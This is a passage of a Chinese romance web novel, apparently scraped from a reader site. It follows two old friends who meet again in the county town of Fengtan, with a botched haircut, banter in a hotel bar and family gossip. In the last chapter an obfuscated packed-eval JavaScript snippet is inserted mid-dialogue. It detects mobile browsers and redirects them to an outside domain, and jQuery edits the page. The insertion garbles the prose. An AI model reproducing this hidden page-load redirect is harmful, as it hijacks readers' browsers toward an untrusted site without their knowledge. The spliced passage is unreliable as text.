高典懒得和他惺惺作态,整张脸寒气逼人,和刚才截然不同的态度:“我警告你,看在李映桥的面子上,我这次没揍你,下次你要是又把主意打到喵仔和他爹身上,管你是不是李映桥的舅舅,是不是李阿姨的弟弟,我保准给你揍得扁扁的,下次开业大酬宾我拿你当窗花贴!” 李映桥懒洋洋地倚在走廊的墙面上,视线慢条斯理地把李武声从头到脚剜了一遍,“你又干什么了?” 高典冷笑一声,“他干的事儿可多了,远得我就不说了,就近的。四一哥住院了,他给撞的。还有脸上门想拿他那间破铺子来抵赔偿,他们家又不差这个钱,我告诉你,想的美!你等着坐牢吧!” 李映桥脸色也变了,她猛地看向李武声。 李武声见高典这么没头没脑就把锅扣过来,急得一蹦三尺高:“胡说八道,不是我撞的,是我以前厂里的一个员工,我是看他可怜才过来帮着说说情。再说,这事儿真怪不了别人,谁让俞人杰要在那个鸟不生蛋鸡不拉屎的地方遛狗啊!” “那当年俞叔火车站那个厂子是你举报的吧?”高典说。 这他没得解释。李武声这些年一边和俞人杰找茬,一边又效仿着他改头换面,学做正经人,可骨子里还是地痞流氓那套,浑身上下都是烂账,随便翻一页都够人啐上三天三夜。 “喵仔当年中考被绑架——” 不过这个案子早就结了,董涛没多久也落网了,警方早就结案,确实跟李武声无关,高典也只是为了吓吓他,胡乱给他扣几个屎盆子,看他以后还敢不敢上门来骚扰他们。李武声正要跳脚,被身后匆匆而来的脚步声打断,顺丰小哥一脸茫然地从电梯间拐进来,提着一袋子盆栽多肉,问:“俞先生的闪送,哪位是俞先生?” “你给我吧,他出去剪头发了,要一会儿才能回来,”高典扬手从外卖小哥手里接过,拿出手机翻开微信聊天记录确认过收件码之后,他显然疲于应付,声音硬得像块钢板对李武声说,“滚吧,这事儿没得商量,不然等会儿喵仔回来,指定要揍你,他现在可不是当年的小鸡仔了,我们可拉不住他。” *** 自从李映桥那届学生高考结束后,丰潭也就开始修高铁铺路搞基建,听说还斥巨资在丰潭山上建了座星光塔,它白天看是一座普通建筑物,晚上看吧,是一座会发光的普通建筑物。 这就好像,你的父母为了跟上时代的步伐,绞尽脑汁学会用智能机的样子。只是在这过程中接到了巨额诈骗来电。总的来说,丰潭这几年的县容县貌是白云苍狗了,但丰潭的美容美发们的技术却还是稳如老狗。 俞津杨今天心血来潮想去剪个头发,他这人本来就保守得很,没什么冒险精神。在丰潭剪头发就是件相当冒险的事儿,下楼之前高典千叮咛万嘱咐,Linda在就找Linda,只有男的话,就说你是去找朋友的,假装绕一圈就走。但没想到,他成功找到Linda,Linda又给他推荐了个男的,他总也不好说姐我只要你剪,不知道的还以为他居心叵测。 等那兄弟给他剪完,他真有点居心叵测了,简直不敢相信,自己还能丑成这样。 俞津杨打算给自己这颗狗啃似的脑袋维个权,他刚冲Tony老师打了个响指,对方一个箭步蹿到他面前,生怕他是要结账——然而,却在这时,俞津杨突然注意到镜子里出现一个眼神很熟悉、但穿着打扮乃至整个外形都相当陌生的人。 他没当回事,不觉得这个人会平白无故出现在丰潭,尽管对方视线很挑衅、很直白,甚至可以说有点直勾勾地盯着他。俞津杨视若无睹,他对女生类似明目张胆的眼神已经有些免疫,没有和对方做过多的眼神纠缠,默默转开脸,继续同Tony老师交涉关于他被八爪鱼攻击这件事。 俞津杨有点烦躁地抓了下头顶几根零碎的头发:“真的很像被八爪鱼攻击了,哥。” “怎么会呢,这是我们设计总监Keven老师从瑞士留学回来后设计的。”Tony满脸堆笑说。 “keven总监——” 俞津杨人还坐在理发店镜子面前的转转凳上,转而用视线指着门外,刚要说是蹲在门口吃泡面那位吗?视线却又猝然和镜子里那位对上,对方的 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Tony想必是处理过太多这样的八爪鱼事件,他冲他俩露出一个滴水不漏地笑容后,转身去找店长协商去了。镜子面前,两人早已经挪开视线,俞津杨还是有点不死心,赔钱也没什么用,他头发已经被糟蹋,丑是得丑一阵了,想着等会儿还是要去买顶帽子。 他回头扫了眼李映桥,正要闷声问你什么时候回来的。 又见那位Tony老师去而复返,说店长拒绝了他这个无理的要求,但他们愿意免费给你的偶像洗个头,以示补偿。 俞津杨:“……” 他怀疑他根本都没见到店长,只是去喝了个水就回来了。 Tony:“你相信我,这个发型过不久,就会流行起来。这真是我们的设计总监Keven老师从瑞士留学回来后设计的,刚给你剪完头就出去买咖啡了。” 又放屁,张小强明明蹲在门口吃泡面。 “等他回来可以让他亲自跟你解释一下这个发型的设计理念。真的,帅哥,这个发型最近在北上广很流行的,咱们丰潭毕竟是小县城,时尚度是会稍微滞后一点。” 俞津杨不太想说话了,但李映桥说她要去洗这个头,他只能坐着边百无聊赖地划拉手机边继续听他胡扯。 “男人嘛,不能太循规蹈矩咯,头发越张扬,越坏,看起来就越帅。”他还在讲。 一看俞津杨脸越来越黑,Tony于是开始摇人,各种不值钱的总监轮番上阵花言巧语忽悠,如此纵横捭阖,只是为了让他接受自己的新发型。 在一波虚头巴脑的彩虹屁攻击之后,就在俞津杨脑瓜淤浆到觉得旁边路过的狗叫声听起来都像你帅帅的时候,Tony忽然将矛头指向一旁正在洗头、还咧着大牙乐的李映桥。 “你不相信我的话,那就干脆让她说,这个发型帅不帅?” 李映桥目睹全程,已经憋得肩膀都在抖,毕竟拿人手短,吃人嘴软,为了增加可信度,躺在那洗头还信誓旦旦地冲他竖起大拇指说:“俞津杨,帅的,你超帅的。” “说不帅是怕他们不给你上护发素吗?”俞津杨怎么会信她的鬼话,“你不洗这个头,我已经结账了,要不你洗着吧,我先走了。” 李映桥立马乜着眼叫他:“……俞喵喵!” 俞津杨这才扯了扯嘴角,随手将手机滑进裤袋里,在她旁边的空闲洗头床位坐下,眉间带着细发的碎影,低头看着她终于认真问了句:“什么时候回来的。” 李映桥几乎没犹豫说:“刚回来啊,回来就立马来找你了。” “是吗?以前没见你这么积极,有事儿找我?”俞津杨刚说完,发现Tony还在盯着他,只不过眼神已经从“我要怎么把这个事儿哥忽悠明白”变成了一脸兴味在他和李映桥之间来回扫射。 他转移话题说:“你们财务总监在哪?” “财务总监不懂设计的,”Tony小哥立马挤出那个滴水不漏的笑容,“您找他干什么呢?” “我买单啊,哥,”俞津杨忍着最后一丝耐心说,“确切来讲,就是,——你们收银台在哪?” 25.第二十四章(二更合一) 俞津杨话音刚落,只见Tony一个箭步从前台抄起付款码,又“嗖”一声弹回到俞津杨跟前,俨然是拿他当事儿哥伺候。最后还是贼心不死地问了句:“您……办卡不?我们最近有暑期活动,充两千送三百,充越多送越多,充五千送九百。我们还有护肤spa美容美体中心——” Tony悄悄看了眼他的偶像,“余额可以通用,两边都可以用。” 李映桥憋着笑,去看俞津杨。 俞津杨泰然自若,人还坐在李映桥旁边那张床上,扫完码把手机揣回兜里,慢悠悠地掀起眼皮扫他一眼,“Keven还没回来吗?二十分钟了,哥。” Tony心领神会,笑得仍是滴水不漏:“我们Keven老师只喝星巴克,可能跑到老城去了。” 俞津杨下巴一指:“商场里不就有一家。” Tony干笑说:“他喜欢潭中附近那家,潭中学霸多,沾点学霸们的光。” 丰潭自一六年之后政府部门铁了心要搞旅游城市,开始大兴土木,试图重塑整座城市的轮廓和心脏。 这两年更是直接鸟枪换炮,新城区完全脱胎换骨,高楼林立、霓虹繁华不说,连小县城罕见的写字楼都凭空拔起好几座。星巴克也是连着开了两家,一家在老城,一家在新城。 不过老城区就像丰潭逐渐衰退的旧心脏,只余下潭中、实验这俩所重点中学附近还算热闹之外,其余地方人实在少得可怜,风一吹,还没立起来的树叶片子多。 当初恢弘挺立的国营大饭店早已经关张,新城区也接连开了两家设施豪华、更金碧辉煌的五星级酒店,其中一家是俞人杰持股。 要不是星巴克不让入股,俞人杰是多少也想投个三块五块的。 Tony似乎也惊叹自己随机应变的能力,心满意足地拿着二维码扬长而去。 李映桥已经在吹头发了,店里吹风筒此起彼伏的嗡鸣声,让气氛忽而沉默。两人没再说话,偶尔视线在镜子里相碰,也很快挪开。 俞津杨在隔壁座位上端端坐着划拉着手机,这会儿他才看见高典给他发的微信消息,说咱们桥回来了,这会儿去理发店找他了。 认真算起来,大二那个被暴雨突袭的暑假之后,他们几个就好像被冲散的落叶,几乎没有再见过了。 高考刚出完分,俞津杨就知道他俩注定天南海北,虽然在高考前,李映桥曾信誓旦旦对他说过,她不想离家太远,怕李姝莉一个人觉得寂寞,要么上海的大学,要么省内的S大,就这两个选择。 高三那会儿他俩成绩都出乎意料的稳定,S省一六年还是有自选模块的加分。总分结构是七百五十分的文理科总分加上一本生需要选考科目六十分的自选模块加分,总计是八百一十分的分数结构。 两人当时成绩就在七百分上下浮动。刚好也就卡在F大和S大的附近,相对来说,S大更稳妥一点,F大他俩都还需要点发挥空间。但朱小亮和梁梅已经心满意足,能保稳考上省内的S大,已经是超出他俩的预期。 谁料,结果一鸣惊人。一个考成脱缰的野马,完全不顾俩老的小心脏直接冲进全省文科前十,另一个发挥也超常,冲进了全省理科前一百。虽然稳坐万年老三的位置,但这个“三”的含金量比小升初来得重得多。 李映桥哪还管李姝莉寂不寂寞,在梁梅和朱小亮连夜给她做完思想工作,毫不犹豫就填了B大的王牌专业。听信谗言的俞津杨,早就已经和爸妈说好了他也舍不得离他们太远,他的目标就是F大或者S大。 而他财大气粗的老父亲,更是执行力爆表,也信儿子是真不想离家太远,于是立马就在上海给他买了套房子,作为高考奖励和成年礼。 丰潭的几个产业老板,对北京没什么执念,反而在省城和上海多少都置办过房产,俞人杰也不例外,高考结束就大笔一挥,将江边的大平层直接过户给俞津杨。 俞人杰这一掷千金的阔绰手笔,简直让李映桥高典他们几个眼睛都直了。从那以后,几人都不叫他大名或者喵喵了。一个个全都挤眉弄眼地叫他“少爷”,然后争相地竞聘起管家、医生等霸总小说里台词单一、但轻如鸿毛也重如泰山的角色。 他们不怀好意、插科打诨地逗他笑。 俞津杨大多时候是冷眼旁观,有时候真忍不住笑了,下一秒,他们就会声情并茂地念出那句著名台词:“好久没见少爷笑这么开心了——” 紧跟着李映桥就两眼冒光地对他发誓说:“少爷,我决定为你弃文从医,我做你的私人家庭医生,以后你的心跳就是我的心跳,你不跳,我也不跳。” “……” 高典蹭一下站起来,不知道从哪搞出来一块方巾,给俞津杨紧紧围在脖子上:“那我当管家!我鞍前马后绝无二话,少爷,只要你一声令下,屎都夹断,先给你剔牙。” “……” “那我将为你打造这个世界上最完美的一比八真人雕塑,”郑妙嘉故作深沉地一推眼镜说,“相信我,我一定将你的完美曲线纤毫毕现,放进蜡像馆供世人瞻仰。” 高典不由仰头想象了下,脑子里跑出只灭霸,他有点不忍直视地闭上眼。 俞津杨:“…………” 俞津杨果断选择去了上海,因为那时候的他们都不觉得他们后面会失联,只是世事无常,世事太无常。 直到他去年回来丰潭,听说了李映桥很多传言—— 说她在B大拿了国家奖学金,说她还没毕业就和北京的大厂签约了,后来那个公司暴雷倒闭清盘,又说没多久,李映桥东山再起,短短两年时间做到市场总监的位置。前阵子听说她又做了个什么开司米,红遍大江南北,好多人抢着买。 整个故事有头有尾,跌宕起伏扣人心弦,描述得绘声绘色。但可信度不高,因为当时和他八卦的人是他太奶——俞婉娟女士。 吃三碗饭的俞婉娟女士,如今已是一百零三岁的高龄,凭借着当年在镇上将李武声的腰子给串串烧的战绩,现在丰潭不少人还记得当年这位英勇神武的老太太。 老太太活得过于高寿,膝下子女大多都没能活过她,唯独俞津杨爷爷这一脉人丁还俱全,但老太太哪儿也不肯去,就一直自己一个人在乡下熬着。 俞人杰给她叫了保姆和护工,又把老旧的灰土瓦墙给翻修成豪华精致的小洋房,格格不入地嵌在一片灰头土脸的砖瓦房里,种了满院子的多肉,还有爬满一整个架子的葡萄串。 俞津杨回来后,除了在城里上班,其余时间要么和高典打球,要么就和老太太在乡下耗着,给她打理打理多肉,修剪修剪杂草。老太太闲话并不少,还满嘴跑火车,说起他那几个旧时小友,消息比他灵通,说小糕点在深圳创业赔了不少钱,有个富婆要他卖身还债,小糕点誓死不从,从深圳逃回来的。 还说郑妙嘉同时交了好几个男朋友,一个写歌的,一个谱曲的,两个人不小心见了面—— 俞津杨问她怎么知道这些的,老太太年纪大,耳朵可不背,有时候唐湘和俞人杰来看她时,闲聊被她听见的。他爸妈倒是很有默契地不怎么在他面前聊这些,反倒还是从老太太有时候碎碎念被他听见。 但李映桥去卖开司米,他是不太信的。俞津杨当时刚给多肉换完盆栽,闲着也是闲着,于是就扯了张椅子过去在人跟前坐下,决定陪老太太唠会儿嗑:“什么开司米?羊绒衫?什么牌子啊?” “我哪记得,”老太太当然想不起来,眉毛一拧,“你管呢,反正你又不买。” 俞津杨笑出声,说:“我买啊。买了我就是她顾客,顾客是上帝,她回来还不得唯我马首是瞻啊?” 俞婉娟可不会信他,拿手指戳他脑门,越戳越用力,戳得他的脑袋像颗伽利略的物理实验球,一下一下来回摆动,他也故意加大幅度地晃,连带着脚蹬子一起晃,显得太奶身强力壮,表情坦然地说:“您肯定听岔了,李映桥一个冬天自己都穿不住羊绒衫的人,怎么可能这个季节跑去卖羊绒衫。” 说到这,他脑袋凑到婉娟女士跟前,难得咬字清晰地同她好奇猜测说:“我妈当时说的是不是——Case?” “对咯!”老太太笑呵呵地一蒲扇拍他脑袋上,顿了片刻,这会儿不知道又想起什么,眼神开始涣散,“说到你妈,湘湘啊,湘湘这两年真是辛苦了——” 这几年,她时常这样,说着说着,突然没声儿了。 俞津杨每当这时候,心里就忍不住咯噔一声,见她呼吸平缓,有一搭没一搭地摇着蒲扇,才放下心来。他进屋拿张薄毯给她盖上,听老太太鼾声渐起,他才轻轻合上院门离去。 择日再见俞婉娟女士,对方又精神矍铄地要同他聊起那些旧时小友,完全忘记这些车轱辘话题昨天同他讲过好几遍。大姑正巧过来帮忙收拾老太太换季的衣物,顺手也煨了个玉米饼给他吃,俞津杨赶忙接过,讨巧地转移话题:“正饿着呢。” “锅里还有呢,别呛着,”大姑见他大快朵颐,诧异地说,“没吃午饭啊?” “吃了,刚和高典去打了个球,又饿了。对了,太奶吃了吗?” “喝了点粥,”大姑边说着,边从屋里拿出一床棉被晒,刚把晾衣杆子撑开,俞津杨起身把玉米饼叼在嘴里,顺手帮她抬另外一边的棉被角,被大姑嫌弃地拉开,“你这少爷就别动了,手上还沾着油,别给我蹭脏了。” 俞津杨笑着把手摊开给她看说:“这只手没碰玉米饼。” 大姑还是嫌他碍手碍脚,“你陪太奶唠嗑去吧。” 俞津杨不太愿意去,怕老太太又提李映桥,他实在不想知道她在外头又刷了多少也怪,提升多少人生的经验值,来来回回也就是那些车轱辘话,他知道太奶什么意思,无非是觉得他的朋友们都在外地漂,他在家啃老。 他刚一过去,就听见老太太让他蹲下,又捂着嘴在他耳边说了个八卦:“楚美整容了。” 楚美就是他大姑。老太太说着拿眼尾偷摸扫正在忙活的大姑,然后用两只手掌来回着急地搓着脸颊两侧,悄声说:“她把两边给削平了,原先的方下巴没了。” 俞津杨知道,大姑当时因为这事儿还和爷爷吵了个整架,“她和姑父离婚之后,她现在听不得一个方字,有人说她脸方都不行。” “就因为你姑父姓方啊?” “嗯啊。” “再胡说八道我揍你啊,”老太太瞪他,蒲扇高高举着要拍他,“想尝尝一百岁老太太的拳头吗?” 俞津杨那么大一个人,蹲在她旁边,在头顶的金色日光下头发被晒得毛茸茸,像只大金毛,笑着问了句:“您怎么知道这么多。” “我咋不知道,”老太太仰靠在太师椅上,摇着蒲扇煞有介事地说,“我还知道你们现在夸一个年轻小伙,身 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俞津杨其实在他们去之前就跟市政的工作人员打了无数次预防针,他太奶的嘴就是个不着调的葫芦喷子,千万别当真。 但市政的人对待工作就是兢兢业业,甚至还把这件事写到年度总结报告里,一本正经地汇报给领导,领导也就在开政府会议时提了那么一嘴。结果那周的丰潭新闻联播里就猝不及防地出现俞津杨征婚的新闻,还是早、午、晚间三档新闻节目轮番播放。 俞津杨当时真的蛮想报警的。因为征婚启事上身高那栏,给他填的是:一米七九。 他高中毕业就一米八了,好吧,一米七九点五。在F大上学的时候,因为外形还算出众,被羽毛球社拉去做过一段时间羽毛球捡球员,而后社长意外发现他人气还挺高,坚持让他去捡球,围观的人会多点。 直到一次训练让他上场,发现他的控球能力不错,就突然给他转正打了好几年的羽毛球,还在某一年的大学生羽毛球锦标赛上意外收获一座亚军奖杯。 直到他去芝加哥交换留学那年,在家收拾行李的时候,猛然发现自己伸手居然能摸到头顶水晶挂灯了,老妈立马拿卷尺给他量,发现又长了六公分。 唐湘特意去问了医生,医生建议他拍个片看看,一般大学后骨骼线都闭合了,如果后续还在长的话,可能要做个详细检查确定骨骺线闭合有没有。不然有些发育比较晚的男生就要考虑是否激素失调、巨人症等可能性。吓得那阵俞津杨把所有的羽毛球拍一并打了个草率的蝴蝶结,送给高典。 好在后来俞津杨去国外就没再长了,身高稳定在早上一米八八,晚上一米八六,尽管医生说晚上才是更接近真实的身高。 他也会根据表格的轻重缓急酌情填报自己的身高。虽然征婚并非他主观意愿,但谁知道会上新闻啊,报个早上的身高不过分吧。 也正是因为这样,他想说最近都这么倒霉了,剪个头算了。然而都二零二五年,托尼们的业务能力在这个日新月异的城市里多少显得有点道高一尺,魔高一丈了。 两人走时,前台的服务员刚接班,对此前的事儿一无所知,又撞俞津杨枪口上,拦住他问:“今天的服务您满意吗?有没有什么想要建议的。” 俞津杨推开玻璃门,让李映桥先出去。 李映桥从他拉开的门里过去的时候,听见他的声音在自己头顶响起:“你们给keven总监请个助理吧,他买咖啡真的很久了。” 噗。李映桥下意识抬头看他,正要笑,却也才发现,他真的比从前高了很多,下一秒,条件反射去看他的鞋,是不是穿内增高了啊,她记得大二暑假的时候,他好像也就一米八左右。 以至于两人走出理发店,李映桥故意落在后面看他的鞋跟。 俞津杨又怎么会察觉不到她忽上忽下的视线,头也不回地说:“别看了,腿打断了,重新接了一截。” “是吧,”李映桥也没头没脑地跟着点点头,一时没跟上他的脚步,顿时又反应过来,“——啊?” 俞津杨站在路边等着红绿灯过马路,打算去对面给自己买顶帽子,他回头看她,笑了声:“李映桥,你现在怎么看起来有种会被人骗光养老保险的样子?” 李映桥回过味来,慢悠悠踱步到他面前,拨了下被风吹到额前的头发笑说:“啧啧,俞喵喵,你现在怎么也满嘴跑火车。” “没有,”他眼神从她身上挪开,看着对面凋零得只剩几个偏旁部首的木玩城招牌,“怎么说,你去哪儿?” “你呢?你去哪儿?”李映桥也轻描淡写地说,“有时间咱们就叙个旧,没时间就下次再说。” 七八月是丰潭的台风季节,天色总是骤变,老天爷这会儿和李映桥进理发店是两张脸,虽没下雨,风势很大,人行道两旁的树木都被来回撕扯,眼看又是一场暴雨的前奏。李映桥话音刚落,“砰砰”几声响,人行道上的共享单车就随之被刮倒了好几辆。 “行,你先去高典那等我,”俞津杨边说着,边弯腰驾轻就熟地把共享单车给扶起来,才看她说,“我去买顶帽子,这头丑得我要睡不着了。” “那你买瓶安眠药啊,买什么帽子呢。”李映桥笑着说。 “那我也得戴着帽子吃行了吧。”他扶好车,径直从她身边越过去面无表情说。 26.第二十五章 台风将至,狂风像一头挣脱牢笼的猛兽,在街道上肆意冲撞,道路两旁树木被无形的利爪撕扯着,树叶在空中不断打着旋儿,垃圾桶在地面上贴地飞行,行人的伞被吹翻了面,面还跑了,只剩根光秃秃的伞骨。 五分钟后,五星级酒店的顶层酒吧走廊里,有人拿着那根光秃秃的伞骨冲酒吧角落里两人,鬼子进村式得突突着扫射进门了。直到突到两人面前,那俩一交换眼神,用如出一辙的关爱智障儿童的表情给他啪啪啪鼓掌。 高典志得意满的一屁股坐下,下一秒,完全不敢相信自己的眼睛:“这谁啊?” “你们桥啊,不是见过了?”俞津杨看着他揶揄地笑说,顺手把楼下拿上来的菜单扔过去,“她刚点了两个菜,你再点两个。” “不是,桥我认识啊,我说你,你谁啊?这什么发型啊?”高典抓过菜单嫌弃地换了个位置,坐到李映桥对面,“Linda不在啊?我不是跟你说了吗——Linda不在你就走啊。” 俞津杨人半靠半坐在沙发背上,拿后背对着他俩。一双长腿随意地支在地上,比两人高出突兀的一截,他等着高典点完菜下楼去找主厨交代忌口的事儿就没正式入座。 “这么丑你还陪他去买帽子了?”高典不可思议地从菜单里抬起头,看着对面已经入座的李映桥说,“到底是长大了,懂人情世故了哈?中考那阵他脸肿得像个猪头,你和郑妙嘉都不愿意和他走一道。” 俞津杨懒得搭腔,捞过一旁刚买的帽子盖脑门上,闷不吭声地低头给人回信息,孙泰禾问他晚上去不去球馆打羽毛球。 “反正闲着也是闲着,”李映桥靠在沙发的里座,喝了口杯里的酒,慢悠悠地晃着酒杯里冰块,偏头仔细看了眼一旁靠坐着的俞津杨,“还好吧,哪有那么难看,就是乱了点。像个小卷毛。” “那是你俩太久没见,有过对比你就知道,”高典翻着菜单啧啧叹道,“他前几年帅得那叫一个惨绝人寰,上大学之后他的生活就可精彩了——” 俞津杨终于忍不住回头冷冷瞥他,“你到底点不点?楼下人还等着。” 李映桥也忍不住好奇问:“真的吗?” “那是相当精彩,有个女的,甚至为了他从绿皮火车上哐当直接跳下来——”高典眉飞色舞地说。 越说越没边了。 俞津杨无语了仰了下头,侧身过去劈手从他手里夺回菜单,“你别点了。” “人没事吧?”李映桥一脸愕然。 “没事,”俞津杨翻着菜单说,“不是你想的那样,高典的话你听一半就行。” 高典也意识到自己嘴太快了,俞津杨警告过他很多遍不准拿那件事当谈资。于是他也四下环顾一圈转移话题说:“我菜不吃了,喝点酒行了吧。” 顶层是俞人杰开的私人酒吧,基本不对外开放,现在他自己反倒不怎么来了,多数是俞津杨高典几个年轻小伙偶尔会来这喝个酒扯闲篇。 “哪有人给你调酒。”俞津杨眼皮都没抬一下说。 “她杯子里是什么。”高典不信。 “锐澳,楼下买的。” 高典:“外面的玻璃瓶呢。” 俞津杨:“我吃了。” “……” 李映桥这才笑着朝着一整墙灯红酒绿的酒柜上指了指:“那边,有个快过期的果酒。” 高典边站起来边说:“喵会调酒啊,让他调啊。” 俞津杨没工夫搭理他,认真扫着菜单,问李映桥:“……再点个啤酒鸭?” “……有鹅肝吗?”李映桥问。 俞津杨瞥她一眼,“吃这么刁钻?没有,西厨这两天没上班。” 李映桥这会儿眼神也开始在俞津杨身上上下来回扫,“喵,这么看,你确实还是有点姿色,发型确实丑,戴上帽子顺眼多了。” 俞津杨“啪”一声,一言不发把菜单扔桌上起身阔步离开,自己下楼点菜去了。 李映桥啧了声,收回视线,和高典戏谑讲说:“看出来了,喵长大后确实有大帅哥的包袱了。” 高典有一搭没一搭地一口口嘬着果酒,目送着俞津杨大步流星的背影,悠悠开口道:“也可能是害羞了,不信你等会儿看看,耳朵绝对是红的。” “不至于吧,”李映桥诧异地回头又看了眼,人已经没影了,只听见电梯“叮”一声,应该是进电梯了,“他不会还没谈过恋爱吧?” “这我倒没问过,”高典想了想说,“前几年喵不是在芝加哥读书么,我和他也没怎么联系,我也是今年回来才知道这小子居然在丰潭,我以为他还在国外呢。不过我觉得他应该还是个处。” “噗——”李映桥差点喷出来。 “真的啊,我回来都快俩月了吧,喵除了上班,要么就是跟我打球,要么就是回乡下陪他太奶,生活很单调的。你别看他脾气好,看起来一副只要女生缠烂打就能追上的样子,他其实难搞得很——” 高典说话向来没什么把门,李映桥不想听见关于十八禁的俞津杨,忙岔开话题说:“他现在是不是在俞叔叔公司里上班呢?” “没呢,四一哥自己还独揽大权呢,不过公司也是早晚要交他手里的,只是现在的丰潭木玩已经不如咱们上学那会儿海内外通吃,那时候四一哥的事业真是如日中天。现在每年估计还没这酒店分红多,所以喵他去年自己开了个设计工作室,搞些玩具设计,就在我那个馆的隔壁。” “他不是学的工商管理吗?” “去芝加哥学的设计,他最开始学得是机械表设计,他没跟你说吗?” 李映桥摇头,在理发店里吹风筒运作声音此起彼伏的,两人也说不上两句话,出了理发店人都要被台风吹没了,陪他去买帽子,俩人也没怎么扯闲篇,光顾着给他选帽子了。店员还送了两块刮痧板,这会儿还在李映桥兜里揣着。 高典叹了口气:“四一哥有一年差点破产你知道么?” 李映桥想了想,“是高三那次吗?俞叔叔好像和唐阿姨还闹离婚来着,俞津杨成绩还下滑了。” “不是那次,那次是四一哥自己作的,具体我也不知道,他也没详细跟我说,是后来还有一次,”高典把酒杯放下,“是喵在芝加哥的时候,那次是真差点破产了,四一哥名下所有账户都被查封了,喵大概有一年没拿到生活费,他半工半读了一年吧,当时在芝加哥跟一个叫SWG的地下街舞团混,白天在密歇根大道桥下做街头表演挣点小费,开始还挺正常的,结果晚上骗他去俱乐部给富婆们跳脱衣舞。” “哇,他……”李映桥表情意味深长。 “喵钱也没拿到,还差点把人得罪了,那时候他挺想回家的,刚好又碰上疫情。” “……那俞叔叔后来怎么解除危机的?” “四一哥身正不怕影子斜啊,他本本分分生意人。这事儿你还是装不知道吧,四一哥一直都觉得是你舅舅在背后搞鬼。”高典想起来,“对了,喵有个妹妹,就他在芝加哥,疫情那两年生的。现在三四岁了,叫甜筒,贼可爱。所以四一哥在小画城附近买了块地皮,想开发个儿童乐园送给甜筒,喵就自己找了个建筑师的设计团队,打算他自己设计。” 李映桥为自己刚才有那么一秒对俞津杨的心疼感到惭愧,瘦死的骆驼比马大,俞人杰这家大业大的,就算肚皮上掉块肉下来也饿不死这一家子。 *** 俞津杨回来的时候,李映桥正在和高典说一些不着四六的东西。 “人还是要学会避避谶的,不能什么话都讲,比如你知道为什么上香都是三柱香么,这其实也是一道数学题,再比如道家说,一生二,二生三,三生万物,还有基督教的三位一体,还有古希腊就有学派认为三是个完美的数字, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620615|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后你再深入点研究,就会发现,很多神学领域的东西都跟三六九有关系,这其实也还是个数学题——” “懂了吧,这世道邪门得很。”李映桥总结陈词说。 高典当然不懂,一脸赵本山挠头的那个表情包如出一辙,“你咋突然研究这些了,我记得当时高考完,你和喵两人还因为这些事赌气来着呢。” 李映桥看了眼在她身旁刚落座的俞津杨,他还带了盘花生回来,她捡了一颗塞进嘴里:“啊,有吗?我忘了。” “是啊,四一哥不就迷信这些么,每逢大考都要带喵去五台山拜拜。你觉得浪费时间,有那时间不如多刷几道题,你俩还吵了一架呢。 ”高典说。 俞津杨斜他一眼,面无表情说:“你醉了,我没因为这么无聊的事儿跟她吵过架,你要不现在起来走两步,是不是走不了直线了?” 高典一拍脑袋想起来了,“绝对有,而且,我记得当时喵说改志愿去北京的R大,你不肯,你说他跟屁虫!非要粘着你,你俩又大吵一架。喵气得我们本来国庆说好了去旅游的鸽子都放了,反正高三那阵你俩动不动吵架,跟两个炮仗似的。你俩别装失忆,不然我现在给妙嘉打电话,她绝对记得。” “……年少轻狂,年少轻狂。”李映桥笑笑,拿酒杯碰了碰俞津杨的水杯,也没管他喝不喝,自己一饮而尽,“都在酒里了。” 不知道为什么,这么多年没见,俞津杨觉得李映桥整个人变得“慈祥”好多。 虽然这个词跟她的年纪并不相符,或者说温柔很多,从前她跟温柔是连偏旁部首都不沾的。 以俞津杨从小对她的了解,李映桥虽然看起来很黏李姝莉,其实她心里一直有一只蠢蠢欲动的小船,憧憬着远方,而且她冲动又莽撞,甚至都没让人来得及给她准备充足的干粮。她自己拿上几颗旺仔小馒头和一支破破烂烂的船桨,寻摸到一个风和日丽的早晨就浩浩荡荡地出发了——在撞上冰川之前是不会调转船头的,即使撞上了冰川,也要试试看,是不是能把它撞穿。 哪怕在外面吃了苦,受了罪,回来也绝口不提,只会口若悬河地讲她生命中那些奇遇,她会同你侃侃而谈她见过的粉色沙滩、奇异瑰丽的披云霞光亦或者是汤加海沟深处的月色,也绝不会告诉你,她被冰川撞翻,她的小船沉入海底,她的船桨早已四分五裂,她找不到回家的路。 她也只会意气风发地回来告诉他,“俞喵喵,外面的世界可真精彩啊!” 李映桥喝完酒,正想着该怎么跟他们说,其实她这趟回来是在丰潭已经入职了。 其实她全都记得,她还记得,收到录取通知书后,他们都复印好烧给谭秀筠,俞津杨当时还是因为李映桥说的那句——你别折腾了,还是在上海好好享受家里赠予的一切吧。 有赌气的成分在,于是他说他要自己混出点名堂,才会回丰潭。 然而,这么多年,李映桥又何尝不是,其实她一直想回来,因为外面的世界一点儿都不精彩。还是丰潭好啊,丰潭有姝莉,有那么多她曾经的好朋友。可只要一想到俞津杨这人在上海有房,凭他的能力和模样,多半混得也风生水起,男人本来就容易,更何况他起点这么高。于是她又咽不下这口气,说什么也要在北京把房子买了再回来。 只是没想到,他先回来了。 明明那么好的开局,他怎么还会回来呢? 李映桥偏过脸去看俞津杨,发现他也正侧着脸在看她,似乎也在想儿时那个豪言壮语,看她的眼神里似乎也在问,你怎么回来了呢? 两人直愣愣地瞧着彼此,像在较劲,又像在思索,等会儿该怎么编才能让对方信服我是真的混出名堂来了。 想着想着,大约还是太了解彼此,目光等着目光的同时,就知道对方憋着什么坏。 空气凝滞半秒,两人几乎同时低下头笑出声来。 27 第二十六章 “什么,你要去小画城上班?” 高典激动得一嗓子直接吼出来,筷子停在半空中,有些不可置信地抬头看着李映桥,又下意识瞥向俞津杨。后者没什么反应,人靠在沙发座上慢条斯理地往自己碗里夹了一筷子鱼肉,头微微偏着,像是在听,又像是没在听。 